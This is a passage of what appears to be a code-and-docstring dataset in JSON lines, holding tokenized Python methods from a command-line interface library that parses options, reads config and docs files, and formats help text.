PositionalArgument):<EOL><INDENT>self._add_positional_argument(p)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.basic_option_names = dict()<EOL>for optiontype in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:version>']:<EOL><INDENT>option = params[optiontype + '<STR_LIT>']<EOL>if not option:<EOL><INDENT>continue<EOL><DEDENT>if not isinstance(option, Option):<EOL><INDENT>option = option()<EOL><DEDENT>self._add_option(option)<EOL>self.basic_option_names[optiontype] = option.name<EOL><DEDENT>if isinstance(install_dir, type(sys)):<EOL><INDENT>install_dir = install_dir.__file__<EOL><DEDENT>if isinstance(install_dir, str) and os.path.isfile(install_dir):<EOL><INDENT>install_dir = os.path.dirname(install_dir)<EOL><DEDENT>self.docvars = dict((s, params[s]) for s in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:version>'])<EOL>if command is None:<EOL><INDENT>command = os.path.basename(sys.argv[<NUM_LIT:0>])<EOL><DEDENT>self.docvars['<STR_LIT>'] = command<EOL>command_base = command<EOL>if command.endswith('<STR_LIT>'):<EOL><INDENT>command_base = command[:-<NUM_LIT:3>]<EOL><DEDENT>self.docs = dict(title=_docs(title, self.docvars),<EOL>usage=_docs(usage, self.docvars),<EOL>files=_docs(filedocs, self.docvars))<EOL>if filedocs is None:<EOL><INDENT>filedocs = dict()<EOL><DEDENT>self.docs['<STR_LIT>'] = filedocs<EOL>self.docs.update((name, _list(params[name])) for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:description>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>self.ignore = _list(ignore)<EOL>if docsfiles is None:<EOL><INDENT>if install_dir:<EOL><INDENT>if docsfilenames is None:<EOL><INDENT>docsfilenames = [os.path.basename(install_dir) + '<STR_LIT>']<EOL>if command_base:<EOL><INDENT>docsfilenames.append(command_base + '<STR_LIT>')<EOL><DEDENT><DEDENT>docsfiles = [os.path.join(install_dir, f) for f in docsfilenames]<EOL><DEDENT><DEDENT>elif docsfilenames:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.read_docs(docsfiles)<EOL>self.sections = _list(sections, [command_base])<EOL>if configfiles is None:<EOL><INDENT>dirname = command_base<EOL>if isinstance(configdirs, str):<EOL><INDENT>dirname = configdirs<EOL>configdirs = None<EOL><DEDENT>if configdirs is None:<EOL><INDENT>configdirs = []<EOL>if install_dir is not None:<EOL><INDENT>configdirs.append(install_dir)<EOL><DEDENT>configdirs += [os.path.join('<STR_LIT>', dirname), <EOL>os.path.expanduser(os.path.join('<STR_LIT>', '<STR_LIT:.>' + dirname))]<EOL><DEDENT>configfilenames = _list(configfilenames, [command_base + '<STR_LIT>'])<EOL>configfiles = [os.path.join(d, f) for d in configdirs for f in configfilenames]<EOL><DEDENT>elif configdirs or configfilenames:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif isinstance(configfiles, str):<EOL><INDENT>configfiles = [configfiles]<EOL><DEDENT>self.configfiles = configfiles<EOL>if self.configfiles:<EOL><INDENT>self.addconfigfiledocs()<EOL><DEDENT>if not width:<EOL><INDENT>width = get_terminal_size()[<NUM_LIT:0>]<EOL><DEDENT>self.width = width<EOL>if launch:<EOL><INDENT>self.launch(argv)<EOL><DEDENT>", "docstring": "Many of the metainfo parameters (author, progname...) should already\nbe present in the program docstring if you're coding by the book. You \ncan avoid repeating them by doing something like: \nui = tui(..., **get_metainfo(__file__)).\nThe parameters that will be available using the above incantation are\nmarked with asterixes* below.\n\n.readdocs() can read most user documentaion from external docsfiles, \nso there is typically no need to supply that on instantiation. See the\ndocsfile parameter. Parameters that can be set using .readdocs() are \nmarked with percent% below.\n\nAll parameters that take a list of indented paragraphs can use docvars.\nThey also accept just a string which, is then taken as a list of one \nparagraph. None means there is no such documentation.\n\nAll parameters that take an Option also accept factory functions for\nOption objects (like a class, or a function like help_option). None\nmeans don't add such an option. Note however that just adding the \nhelpoption, longhelpoption, versionoption and settingsoption at \ninstantiation will not activate their documented functionality. Use \ne.g. .start() for this.\n\nparameters is a list of Options and PositionalArguments to be added\nto the user interface.\n\nversion* is the current program version string. Although you *can* set\nthis using get_metainfo, you typically want to pass __version__ here\ninstead. Available as a docvar.\n\ninstall_dir (if given) will be searched for configfiles and docsfiles.\nUse containing dir if given a python package or a path to a file (e.g. \nmypackage or __file__).\n\nargv is the list of command line arguments to use (see launch just \nbelow). None means use a copy of sys.argv.\n\nIf launch is True (default) then .launch(argv) will be called after \ninitiallization.\n\n*progname is the user friendly name of the program. Available as a \ndocvar. \n\n*author is who made the program. Available as a docvar. \n\ntitle is what to put in the title line on help pages. Can use docvars.\n\n*%description is a oneliner describing the program. Can use docvars.\n\n*%contact is contact information as a list of indented paragraphs.\n\n*%website is the url to the website of the program. Can be given as a\nlist of indented paragraphs if needed.\n\n*%download is where the program can be downloaded. Can be given as a\nlist of indented paragraphs if needed.\n\n*%git is where the source can be accessed by git. Can be given as a\nlist of indented paragraphs if needed.\n\n*%subversion is where the source can be accessed by svn. Can be given \nas a list of indented paragraphs if needed.\n\n*%copyright is copyright information as a list of indented paragraphs. \n\n*%license is brief information on the licensing conditions of the \nprogram. Can be given as a list of indented paragraphs if needed.\n\n*command* is how to execute the program. Available as a docvar. None \nmeans use the basename of sys.argv[0].\n\nusage is user friendly help on how to execute the program. Can \nuse docvars. None means auto generate from options and positional \narguments.\n\n%general is general program documentation as a list of indented\nparagraphs. Typically displayed on the normal help page. \n\n%additional is additional program documentation as a list of indented\nparagraphs. Typically only displayed in verbose help (longhelp). \n\n%note is the same as additional, only with a different label.\n\n%filedocs is documentation on files used by the program, as a dict of\nfile names and indented paragraphs. Typically only displayed in \nverbose help (longhelp). Keys and values may use docvars. None means \nno such documentation.\n\ndocsfilenames is a list of basenames of docsfiles and is only useful \ntogether with install_dir. A str means a list of one item. None means \n[basename(install_dir) + 'docs' (if given), command + '.docs']. \nDo not use together with the docsfiles parameter.\n\ndocsfiles is a list of paths to potential DocParser docsfiles; parse if\npresent, in the given order. None means look for each docsfilename in\ninstall_dir (if given). A str means a list of one item. Note that no \ndocs will be read on instantation. Use .readdocs() (or .launch()) for \nthat.\n\nwidth is the maximum allowed width for help text. 0 means try to guess\nthe terminal width, and use 79 if that fails.\n\nconfigdirs is a list of paths to directories to search for configfiles.\nNone means [install_dir (if given), '/etc/' + command, '~/.' + command].\nA str means the same, but with this string replacing command. Do not \nuse together with the configfiles parameter.\n\nconfigfilenames is a list of basenames of configfiles. A str means a \nlist of one item. None means [command + '.conf']. Do not use together \nwith the configfiles parameter.\n\nconfigfiles is a list of config files to parse. None means try each \nconfigfilename in the given order, in each of the configdirs in the \ngiven order. configfiles are parsed incrementally by .parsefiles() (or\n.launch()). A str means a list of one item. [] means no configfiles.\n\nsections is a list of sections to read in config files. A str means a \nlist of one item. None means [command]. The DEFAULT section (note \nuppercase) is always read, and it is read as if its contents were \ncopied to the beginning of all other sections.\n\nignore is a list of option and positional argument names that should be\nignored if encountered in configfiles or docsfiles. Any other unknown \nnames will raise an error. This is primarily to help users catch \nspelling mistakes. This feature is useful for example if you are using\nthe same files for several programs in a suite, where some parameters \nare shared and you want to ignore the others. Set to None to ignore all\nall unknown (not recommended). \n\noptions can be used to supply a preconfigured option dictionary, if you\nfor some reason prefer this to .makeoption(). tui will not check this \nfor you. See also option_order and abbreviations.\n\noption_order determines the order in which the options will be shown in\nhelp texts.\n\nabbreviations is a abbreviation:option dict, similar to options.\n\npositional_args can be used to supply a list of preconfigured positional\narguments, if you for some reason prefer this to .makeposarg(). tui will \nnot check this for you. See also positional_arg_names.\n\npositional_arg_names are the display names for positional arguments in\nhelp texts.\n\nhelpoption adds an option that lets the user request help in the usual\nway. Default is '--help' or '-h', option reserved for command line use.\nNone means don't add such an option.\n\nlonghelpoption adds an option that lets the user request verbose help.\nDefault is '--HELP' or '-H', option reserved for command line use. None\nmeans don't add such an option. \n\nversionoption adds an option that lets the user print the version \nstring. Default is '--version' or '-V', option reserved for command\nline use). None means don't add such an option.\n\nsettingsoption adds an option that lets the user print a brief summary\nof program settings. Default is '--settings' or '-S', option reserved \nfor command line use). None means don't add such an option.", "id": "f5450:c13:m0"}
{"signature": "def __iter__(self):", "body": "return iter(list(self.keys()))<EOL>", "docstring": "Iterate over .keys().", "id": "f5450:c13:m1"}
{"signature": "def __contains__(self, key):", "body": "return key in list(self.keys())<EOL>", "docstring": "Shorthand for key in .keys().", "id": "f5450:c13:m2"}
{"signature": "def __getitem__(self, key):", "body": "return self.getparam(key).value<EOL>", "docstring": "Shorthand for .getparam(key).value.", "id": "f5450:c13:m3"}
{"signature": "def __setitem__(self, key, value):", "body": "self.getparam(key).value = value<EOL>", "docstring": "Shorthand for .getparam(key).value = value.\n\n        Useful when doing additional modifications after tui is done parsing.", "id": "f5450:c13:m4"}
{"signature": "def keys(self):", "body": "return list(self.options.keys()) + [p.name for p in self.positional_args]<EOL>", "docstring": "List names of options and positional arguments.", "id": "f5450:c13:m5"}
{"signature": "def values(self):", "body": "return list(self.options.values()) + [p.value for p in self.positional_args]<EOL>", "docstring": "List values of options and positional arguments.", "id": "f5450:c13:m6"}
{"signature": "def items(self):", "body": "return [(p.name, p.value) for p in list(self.options.values()) + self.positional_args]<EOL>", "docstring": "List values of options and positional arguments.", "id": "f5450:c13:m7"}
{"signature": "def dict(self):", "body": "return dict(list(self.items()))<EOL>", "docstring": "Return a name:value dict of all options and positional arguments.\n\n        Useful when you absolutely need a dict, e.g: do_stuff(**ui.dict()).", "id": "f5450:c13:m8"}
{"signature": "def getparam(self, key):", "body": "try:<EOL><INDENT>return self.options[key]<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>for posarg in self.positional_args:<EOL><INDENT>if posarg.name == key:<EOL><INDENT>return posarg<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return self.abbreviations[key[<NUM_LIT:1>:]]<EOL><DEDENT>except:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Get option or positional argument, by name, index or abbreviation.\n\n        Abbreviations must be prefixed by a '-' character, like so: ui['-a']", "id": "f5450:c13:m9"}
{"signature": "def _add_option(self, option):", "body": "if option.name in self.options:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if option.abbreviation in self.abbreviations:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if option.name in [arg.name for arg in self.positional_args]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.options[option.name] = option<EOL>if option.abbreviation:<EOL><INDENT>self.abbreviations[option.abbreviation] = option<EOL><DEDENT>self.option_order.append(option.name)<EOL>", "docstring": "Add an Option object to the user interface.", "id": "f5450:c13:m10"}
{"signature": "def _add_positional_argument(self, posarg):", "body": "if self.positional_args:<EOL><INDENT>if self.positional_args[-<NUM_LIT:1>].recurring:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.positional_args[-<NUM_LIT:1>].optional and not posarg.optional:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.positional_args.append(posarg)<EOL>", "docstring": "Append a positional argument to the user interface.\n\n        Optional positional arguments must be added after the required ones. \n        The user interface can have at most one recurring positional argument, \n        and if present, that argument must be the last one.", "id": "f5450:c13:m11"}
{"signature": "def read_docs(self, docsfiles):", "body": "updates = DocParser()<EOL>for docsfile in _list(docsfiles):<EOL><INDENT>if os.path.isfile(docsfile):<EOL><INDENT>updates.parse(docsfile)<EOL><DEDENT><DEDENT>self.docs.update((k, _docs(updates[k], self.docvars)) for k in self.docs if updates.blocks[k])<EOL>for name, text in list(updates['<STR_LIT>'].items()):<EOL><INDENT>if name in self:<EOL><INDENT>self.getparam(name).docs = text[<NUM_LIT:0>] % self.docvars<EOL><DEDENT>elif name not in self.ignore:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>", "docstring": "Read program documentation from a DocParser compatible file.\n\n        docsfiles is a list of paths to potential docsfiles: parse if present.\n        A string is taken as a list of one item.", "id": "f5450:c13:m12"}
{"signature": "def parse_files(self, files=None, sections=None):", "body": "files = _list(files, self.configfiles)<EOL>sections = _list(sections, self.sections)<EOL>for file in files:<EOL><INDENT>parser = StrictConfigParser()<EOL>parser.read(file)<EOL>for section in sections:<EOL><INDENT>if not parser.has_section(section):<EOL><INDENT>continue<EOL><DEDENT>for unused in parser.unusedoptions(section):<EOL><INDENT>if unused not in self.options and unused not in self.ignore: <EOL><INDENT>templ = \"<STR_LIT>\"<EOL>raise InvalidOption(unused, message=templ % (unused, section, file))<EOL><DEDENT><DEDENT>for name in parser.options(section):          <EOL><INDENT>if name in self.options:<EOL><INDENT>if self.options[name].reserved:<EOL><INDENT>templ = \"<STR_LIT>\"<EOL>raise ReservedOptionError(message=templ % (unused, section, file))<EOL><DEDENT>value = parser.get(section, name)<EOL>self.options[name].parsestr(value, name, '<STR_LIT>' % (file, section))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Parse configfiles. \n        files <list str>, <str> or None:\n            What files to parse. None means use self.configfiles. New\n            values override old ones. A string value will be interpreted\n            as a list of one item.\n        sections <list str>, <str> or None:\n            Which sections to parse from the files. None means use\n            self.sections. A string value will be interpreted as a list\n            of one item. The [DEFAULT]\n            section is always read, and it is read as if its contents were\n            copied to the beginning of all other sections.", "id": "f5450:c13:m14"}
{"signature": "def _parse_options(self, argv, location):", "body": "observed = []<EOL>while argv:<EOL><INDENT>if argv[<NUM_LIT:0>].startswith('<STR_LIT>'):<EOL><INDENT>name = argv.pop(<NUM_LIT:0>)[<NUM_LIT:2>:]<EOL>if not name:<EOL><INDENT>break<EOL><DEDENT>if name not in self.options:<EOL><INDENT>raise InvalidOption(name)<EOL><DEDENT>option = self.options[name]<EOL>if not option.recurring:<EOL><INDENT>if option in observed:<EOL><INDENT>raise OptionRecurrenceError(name)<EOL><DEDENT>observed.append(option)<EOL><DEDENT>option.parse(argv, name, location)<EOL><DEDENT>elif argv[<NUM_LIT:0>].startswith('<STR_LIT:->'):<EOL><INDENT>if argv[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>break<EOL><DEDENT>block = argv.pop(<NUM_LIT:0>)[<NUM_LIT:1>:]<EOL>for abbreviation in block[:-<NUM_LIT:1>]:<EOL><INDENT>if self.abbreviations[abbreviation].nargs != <NUM_LIT:0>:<EOL><INDENT>raise BadAbbreviationBlock(abbreviation, block, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>for abbreviation in block:<EOL><INDENT>option = self.abbreviations[abbreviation]<EOL>if not option.recurring:<EOL><INDENT>if option in observed:<EOL><INDENT>raise OptionRecurrenceError(option.name)<EOL><DEDENT>observed.append(option)<EOL><DEDENT>option.parse(argv, '<STR_LIT:->' + abbreviation, location)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Parse the options part of an argument list.\n        IN:\n        lsArgs <list str>:\n            List of arguments. Will be altered.\n        location <str>:\n            A user friendly string describing where this data came from.", "id": "f5450:c13:m15"}
{"signature": "def _parse_positional_arguments(self, argv):", "body": "for posarg in self.positional_args:<EOL><INDENT>posarg.parse(argv)<EOL><DEDENT>if argv:<EOL><INDENT>if None in [p.nargs for p in self.positional_args]:<EOL><INDENT>msg = '<STR_LIT>'<EOL>plural_s = len(argv) > <NUM_LIT:1> and '<STR_LIT:s>' or '<STR_LIT>'<EOL>raise BadNumberOfArguments(message=msg % (len(argv), plural_s))<EOL><DEDENT>msg = '<STR_LIT>'<EOL>required = len([p.nargs for p in self.positional_args])<EOL>raise BadNumberOfArguments(message=msg % (required, required + len(argv)))<EOL><DEDENT>", "docstring": "Parse the positional arguments part of an argument list.\n        argv <list str>:\n            List of arguments. Will be altered.", "id": "f5450:c13:m16"}
{"signature": "def parse_argv(self, argv=None, location='<STR_LIT>'):", "body": "if argv is None:<EOL><INDENT>argv = list(sys.argv)<EOL><DEDENT>argv.pop(<NUM_LIT:0>)<EOL>self._parse_options(argv, location)<EOL>self._parse_positional_arguments(argv)<EOL>", "docstring": "Parse command line arguments.\n\n        args <list str> or None:\n            The argument list to parse. None means use a copy of sys.argv. argv[0] is\n            ignored.\n        location = '' <str>:\n            A user friendly string describing where the parser got this\n            data from. '' means use \"Command line.\" if args == None, and\n            \"Builtin default.\" otherwise.", "id": "f5450:c13:m17"}
{"signature": "def optionhelp(self, indent=<NUM_LIT:0>, maxindent=<NUM_LIT>, width=<NUM_LIT>):", "body": "def makelabels(option):<EOL><INDENT>labels = '<STR_LIT>' % (indent, '<STR_LIT:U+0020>', option.name)<EOL>if option.abbreviation:<EOL><INDENT>labels += '<STR_LIT>' + option.abbreviation<EOL><DEDENT>return labels + '<STR_LIT>'<EOL><DEDENT>docs = []<EOL>helpindent = _autoindent([makelabels(o) for o in list(self.options.values())], indent, maxindent)<EOL>for name in self.option_order:<EOL><INDENT>option = self.options[name]<EOL>labels = makelabels(option)<EOL>helpstring = \"<STR_LIT>\" % (option.formatname, option.strvalue, option.docs)<EOL>wrapped = self._wrap_labelled(labels, helpstring, helpindent, width)<EOL>docs.extend(wrapped)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(docs)<EOL>", "docstring": "Return user friendly help on program options.", "id": "f5450:c13:m18"}
{"signature": "def posarghelp(self, indent=<NUM_LIT:0>, maxindent=<NUM_LIT>, width=<NUM_LIT>):", "body": "docs = []<EOL>makelabel = lambda posarg: '<STR_LIT:U+0020>' * indent + posarg.displayname + '<STR_LIT>'<EOL>helpindent = _autoindent([makelabel(p) for p in self.positional_args], indent, maxindent)<EOL>for posarg in self.positional_args:<EOL><INDENT>label = makelabel(posarg)<EOL>text = posarg.formatname + '<STR_LIT>' + posarg.docs<EOL>wrapped = self._wrap_labelled(label, text, helpindent, width)<EOL>docs.extend(wrapped)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(docs)<EOL>", "docstring": "Return user friendly help on positional arguments in the program.", "id": "f5450:c13:m19"}
{"signature": "def format_usage(self, usage=None):", "body": "if usage is None:<EOL><INDENT>usage = self.docs['<STR_LIT>']<EOL><DEDENT>if usage is not None:<EOL><INDENT>return usage[<NUM_LIT:0>] % self.docvars<EOL><DEDENT>usage = self.docvars['<STR_LIT>']<EOL>if self.basic_option_names.get('<STR_LIT>'):<EOL><INDENT>usage += '<STR_LIT>' % self.basic_option_names.get('<STR_LIT>')<EOL><DEDENT>if self.options:<EOL><INDENT>usage += '<STR_LIT>'<EOL><DEDENT>optional = <NUM_LIT:0><EOL>for posarg in self.positional_args:<EOL><INDENT>usage += '<STR_LIT:U+0020>'<EOL>if posarg.optional:<EOL><INDENT>usage += \"<STR_LIT:[>\" <EOL>optional += <NUM_LIT:1><EOL><DEDENT>usage += posarg.displayname<EOL>if posarg.recurring:<EOL><INDENT>usage += '<STR_LIT>' % posarg.displayname<EOL><DEDENT><DEDENT>usage += '<STR_LIT:]>' * optional<EOL>return usage<EOL>", "docstring": "Return a formatted usage string. \n\n        If usage is None, use self.docs['usage'], and if that is also None, \n        generate one.", "id": "f5450:c13:m20"}
{"signature": "def _wrap(self, text, indent=<NUM_LIT:0>, width=<NUM_LIT:0>):", "body": "text = _list(text)<EOL>if not width:<EOL><INDENT>width = self.width<EOL><DEDENT>paragraph = text[<NUM_LIT:0>].lstrip()<EOL>s = '<STR_LIT:U+0020>' * (len(text[<NUM_LIT:0>]) - len(paragraph) + indent)<EOL>wrapped = textwrap.wrap(paragraph.strip(), width, initial_indent=s, subsequent_indent=s)<EOL>return '<STR_LIT:\\n>'.join(wrapped)<EOL>", "docstring": "Textwrap an indented paragraph.\n        ARGS:\n        width = 0 <int>:\n            Maximum allowed page width. 0 means use default from\n            self.iMaxHelpWidth.", "id": "f5450:c13:m21"}
{"signature": "def _wraptext(self, text, indent=<NUM_LIT:0>, width=<NUM_LIT:0>):", "body": "return '<STR_LIT:\\n>'.join(self._wrap(par, indent, width) for par in text)<EOL>", "docstring": "Shorthand for '\\n'.join(self._wrap(par, indent, width) for par in text).", "id": "f5450:c13:m22"}
{"signature": "def _wrapusage(self, usage=None, width=<NUM_LIT:0>):", "body": "if not width:<EOL><INDENT>width = self.width<EOL><DEDENT>return textwrap.fill('<STR_LIT>' + self.format_usage(usage), width=width, subsequent_indent='<STR_LIT>')<EOL>", "docstring": "Textwrap usage instructions.\n        ARGS:\n        width = 0 <int>:\n            Maximum allowed page width. 0 means use default from\n            self.iMaxHelpWidth.", "id": "f5450:c13:m24"}
{"signature": "def versionhelp(self, width=<NUM_LIT:0>):", "body": "return self.docvars['<STR_LIT:version>']<EOL>", "docstring": "Return self.docvars['version']. \n\n        width is ignored and is present only for symmetry with other help methods.", "id": "f5450:c13:m25"}
{"signature": "def shorthelp(self, width=<NUM_LIT:0>):", "body": "out = []<EOL>out.append(self._wrap(self.docs['<STR_LIT:title>'], width=width))<EOL>if self.docs['<STR_LIT:description>']:<EOL><INDENT>out.append(self._wrap(self.docs['<STR_LIT:description>'], indent=<NUM_LIT:2>, width=width))<EOL><DEDENT>out.append('<STR_LIT>')<EOL>out.append(self._wrapusage(width=width))<EOL>out.append('<STR_LIT>')<EOL>return '<STR_LIT:\\n>'.join(out)<EOL>", "docstring": "Return brief help containing Title and usage instructions.\n        ARGS:\n        width = 0 <int>:\n            Maximum allowed page width. 0 means use default from\n            self.iMaxHelpWidth.", "id": "f5450:c13:m26"}
{"signature": "def help(self, width=<NUM_LIT:0>):", "body": "return self.customhelp(self.help_sections, width)<EOL>", "docstring": "Return the standard formatted command line help for the prog.\n\n        width is maximum allowed page width, use self.width if 0.", "id": "f5450:c13:m28"}
{"signature": "def longhelp(self, width=<NUM_LIT:0>):", "body": "return self.customhelp(self.longhelp_sections, width)<EOL>", "docstring": "Return the standard formatted help text for the prog. \n\n        This should have approximately the amount of information as you'd \n        expect in a man page.\n\n        width is maximum allowed page width, use self.width if 0.", "id": "f5450:c13:m29"}
{"signature": "def strsettings(self, indent=<NUM_LIT:0>, maxindent=<NUM_LIT>, width=<NUM_LIT:0>):", "body": "out = []<EOL>makelabel = lambda name: '<STR_LIT:U+0020>' * indent + name + '<STR_LIT>'<EOL>settingsindent = _autoindent([makelabel(s) for s in self.options], indent, maxindent)<EOL>for name in self.option_order:<EOL><INDENT>option = self.options[name]<EOL>label = makelabel(name)<EOL>settingshelp = \"<STR_LIT>\" % (option.formatname, option.strvalue, option.location)<EOL>wrapped = self._wrap_labelled(label, settingshelp, settingsindent, width)<EOL>out.extend(wrapped)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(out)<EOL>", "docstring": "Return user friendly help on positional arguments.        \n\n        indent is the number of spaces preceeding the text on each line. \n\n        The indent of the documentation is dependent on the length of the \n        longest label that is shorter than maxindent. A label longer than \n        maxindent will be printed on its own line.\n\n        width is maximum allowed page width, use self.width if 0.", "id": "f5450:c13:m30"}
{"signature": "def settingshelp(self, width=<NUM_LIT:0>):", "body": "out = []<EOL>out.append(self._wrap(self.docs['<STR_LIT:title>'], width=width))<EOL>if self.docs['<STR_LIT:description>']:<EOL><INDENT>out.append(self._wrap(self.docs['<STR_LIT:description>'], indent=<NUM_LIT:2>, width=width))<EOL><DEDENT>out.append('<STR_LIT>')<EOL>out.append('<STR_LIT>')<EOL>out.append(self.strsettings(indent=<NUM_LIT:2>, width=width))<EOL>out.append('<STR_LIT>')<EOL>return '<STR_LIT:\\n>'.join(out)<EOL>", "docstring": "Return a summary of program options, their values and origins.\n\n        width is maximum allowed page width, use self.width if 0.", "id": "f5450:c13:m31"}
{"signature": "def launch(self,<EOL>argv=None,<EOL>showusageonnoargs=False,<EOL>width=<NUM_LIT:0>,<EOL>helphint=\"<STR_LIT>\",<EOL>debug_parser=False):", "body": "if showusageonnoargs and len(argv) == <NUM_LIT:1>:<EOL><INDENT>print(self.shorthelp(width=width))<EOL>if helphint:<EOL><INDENT>print(self._wrap(helphint, indent=<NUM_LIT:2>, width=width))<EOL><DEDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>parsing_error = None<EOL>try:<EOL><INDENT>self.parse_files()<EOL>self.parse_argv(argv)<EOL><DEDENT>except ParseError as parsing_error:<EOL><INDENT>if debug_parser:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>for optiontype in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:version>']:<EOL><INDENT>name = self.basic_option_names.get(optiontype)<EOL>if name and self[name]:<EOL><INDENT>methodname = optiontype.rstrip('<STR_LIT>') + '<STR_LIT>'<EOL>print(getattr(self, methodname)(width))<EOL>sys.exit()<EOL><DEDENT><DEDENT>if parsing_error:<EOL><INDENT>self.graceful_exit(parsing_error, width)<EOL><DEDENT>", "docstring": "Do the usual stuff to initiallize the program.\n\n        Read config files and parse arguments, and if the user has used any \n        of the help/version/settings options, display help and exit.\n\n        If debug_parser is false, don't catch ParseErrors and exit with user\n        friendly help. Crash with traceback instead.\n\n        configfiles is a list of config files. None means use self.configfiles.\n\n        sections is a list of configfile section names to read. None means use\n        self.sections.\n\n        argv is a list of arguments to parse. Will be modified. None means use\n        copy of sys.argv. argv[0] is ignored.\n\n        If showusageonnoargs is true, show usage and exit if the user didn't \n        give any args. Should be False if there are no required PositionalArgs.\n\n        width is the maximum allowed page width. 0 means use self.width.\n\n        helphint is a string that hints on how to get more help which is \n        displayed at the end of usage help messages.", "id": "f5450:c13:m32"}
{"signature": "def __init__(self, tabsize=<NUM_LIT:4>):", "body": "self.lines = []<EOL>self.tabsize = tabsize<EOL>", "docstring": "tabsize > 0 replaces tab characters with that many spaces. Set <= 0 to \ndisable.", "id": "f5451:c1:m0"}
{"signature": "def addline(self, line):", "body": "self.lines.append(line)<EOL>", "docstring": "Add a line (no trailing newlines) to the text block.", "id": "f5451:c1:m3"}
{"signature": "def text(self):", "body": "return self.lines<EOL>", "docstring": "Return the text in the block as a list of lines.", "id": "f5451:c1:m4"}
{"signature": "def text(self):", "body": "return ['<STR_LIT:U+0020>'.join(self.lines)]<EOL>", "docstring": "Return the paragraph as a string.", "id": "f5451:c2:m1"}
{"signature": "def text(self):", "body": "return self.lines<EOL>", "docstring": "Return the indented paragraphs as a list of strings.", "id": "f5451:c3:m2"}
{"signature": "def decomment(self, line):", "body": "", "docstring": "Remove the comment parts from a line of text.\n\n        Return None to indicate that the line is completely commented out and\n        that it should not be fed to TextBlock storage.", "id": "f5451:c4:m0"}
{"signature": "def __init__(self,<EOL>untagged=IndentedParagraphs,<EOL>decommenter=UnescapedHashDecommenter,<EOL>tabsize=<NUM_LIT:4>,<EOL>blocks=None,<EOL>labelled_classes=None,<EOL>names=None):", "body": "if isinstance(untagged, type(TextBlock)):<EOL><INDENT>untagged = untagged()<EOL><DEDENT>self.untagged = untagged <EOL>if isinstance(decommenter, type(Decommenter)):<EOL><INDENT>decommenter = decommenter()<EOL><DEDENT>self.decommenter = decommenter<EOL>self.tabsize = tabsize<EOL>if blocks is None:<EOL><INDENT>blocks = {}<EOL><DEDENT>self.blocks = blocks<EOL>if labelled_classes is None:<EOL><INDENT>labelled_classes = dict()<EOL><DEDENT>self.labelled_classes = labelled_classes<EOL>if names is None:<EOL><INDENT>names = dict((name.upper, name) for name in blocks)<EOL><DEDENT>self.names = names<EOL>", "docstring": "untagged determines what to do with text before the first tagged text \nblock and should be a TextBlock subclass, or None to raise ParseError.\n\ndecommenter determines how to strip comments from the text. Set to None\nto not decomment.\n\ntabsize > 0 replaces tab characters with that many spaces. Set <= 0 to \ndisable.", "id": "f5451:c6:m0"}
{"signature": "def parse(self, file):", "body": "if isinstance(file, basestring):<EOL><INDENT>file = open(file)<EOL><DEDENT>line_number = <NUM_LIT:0><EOL>label = None<EOL>block = self.untagged<EOL>for line in file:<EOL><INDENT>line_number += <NUM_LIT:1><EOL>line = line.rstrip('<STR_LIT:\\n>')<EOL>if self.tabsize > <NUM_LIT:0>:<EOL><INDENT>line = line.replace('<STR_LIT:\\t>', '<STR_LIT:U+0020>' * self.tabsize)<EOL><DEDENT>if self.decommenter:<EOL><INDENT>line = self.decommenter.decomment(line)<EOL>if line is None:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>tag = line.split('<STR_LIT::>', <NUM_LIT:1>)[<NUM_LIT:0>].strip()<EOL>if tag not in self.names:<EOL><INDENT>if block is None:<EOL><INDENT>if line and not line.isspace():<EOL><INDENT>raise ParseError(file.name, line, \"<STR_LIT>\" % line)<EOL><DEDENT>continue<EOL><DEDENT>block.addline(line)<EOL>continue<EOL><DEDENT>name = self.names[tag]<EOL>label = line.split('<STR_LIT::>',<NUM_LIT:1>)[<NUM_LIT:1>].strip()<EOL>if name in self.labelled_classes:<EOL><INDENT>if not label:<EOL><INDENT>raise ParseError(file.name, line, \"<STR_LIT>\" % name)<EOL><DEDENT>block = self.blocks[name].setdefault(label, self.labelled_classes[name]())<EOL><DEDENT>else:<EOL><INDENT>if label:<EOL><INDENT>msg = \"<STR_LIT>\" % (label, name)<EOL>raise ParseError(file.name, line_number, msg)<EOL><DEDENT>block = self.blocks[name]<EOL><DEDENT>block.startblock()<EOL><DEDENT>", "docstring": "Parse text blocks from a file.", "id": "f5451:c6:m3"}
